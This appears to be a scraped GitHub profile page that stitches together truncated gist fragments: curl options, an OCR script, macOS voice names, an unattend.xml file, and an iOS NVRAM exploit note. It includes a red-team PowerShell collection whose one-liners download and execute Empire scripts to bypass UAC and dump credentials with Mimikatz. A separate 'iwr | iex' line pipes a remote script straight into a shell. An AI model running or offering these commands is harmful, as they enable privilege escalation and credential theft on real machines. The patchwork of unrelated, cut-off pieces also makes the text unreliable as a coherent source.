Zachary Weeden zweed4u

Common Options

-#, --progress-bar Make curl display a simple progress bar instead of the more informational standard meter.

-b, --cookie <name=data> Supply cookie with request. If no =, then specifies the cookie file to use (see -c).

-c, --cookie-jar <file name> File to save response cookies to.

People

	# Description:
	# Collection of PowerShell one-liners for red teamers and penetration testers to use at various stages of testing.

	# Invoke-BypassUAC and start PowerShell prompt as Administrator [Or replace to run any other command]
	powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/privesc/Invoke-BypassUAC.ps1');Invoke-BypassUAC -Command 'start powershell.exe'"

	# Invoke-Mimikatz: Dump credentials from memory
	powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"

	# Import Mimikatz Module to run further commands

	#!/bin/bash

	set -e

	CONTENTS=$(tesseract -c language_model_penalty_non_dict_word=0.8 --tessdata-dir /usr/local/share/tessdata/ "$1" stdout -l eng \| xml esc)

	hex=$((cat <<EOF
	<?xml version="1.0" encoding="UTF-8"?>
	<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
	<plist version="1.0">

	// iOS 11 moves OFVariables to const
	// https://twitter.com/s1guza/status/908790514178301952
	// however, if we:
	// 1) Can find IODTNVRAM service
	// 2) Have tfp0 / kernel read\|write\|alloc
	// 3) Can leak kernel address of mach port
	// then we can fake vtable on IODTNVRAM object
	// async_wake satisfies those requirements
	// however, I wasn't able to actually set or get ANY nvram variable
	// not even userread/userwrite

	###
	###
	### UPDATE: For Win 11, I recommend using this tool in place of this script:
	### https://christitus.com/windows-tool/
	### https://github.com/ChrisTitusTech/winutil
	### https://www.youtube.com/watch?v=6UQZ5oQg8XA
	### iwr -useb https://christitus.com/win \| iex
	###
	###

	Agnes en_US # Isn't it nice to have a computer that will talk to you?
	Albert en_US # I have a frog in my throat. No, I mean a real frog!
	Alex en_US # Most people recognize me by my voice.
	Alice it_IT # Salve, mi chiamo Alice e sono una voce italiana.
	Alva sv_SE # Hej, jag heter Alva. Jag är en svensk röst.
	Amelie fr_CA # Bonjour, je m’appelle Amelie. Je suis une voix canadienne.
	Anna de_DE # Hallo, ich heiße Anna und ich bin eine deutsche Stimme.
	Bad News en_US # The light you see at the end of the tunnel is the headlamp of a fast approaching train.
	Bahh en_US # Do not pull the wool over my eyes.
	Bells en_US # Time flies when you are having fun.

	<?xml version="1.0" encoding="utf-8"?>
	<unattend xmlns="urn:schemas-microsoft-com:unattend">
	<settings pass="windowsPE">
	<component xmlns:wcm="http://schemas.microsoft.com/WMIConfig/2002/State" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" name="Microsoft-Windows-International-Core-WinPE" processorArchitecture="amd64" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS">
	<SetupUILanguage>
	<UILanguage>en-US</UILanguage>
	</SetupUILanguage>
	<InputLocale>en-US</InputLocale>
	<SystemLocale>en-US</SystemLocale>
	<UILanguage>en-US</UILanguage>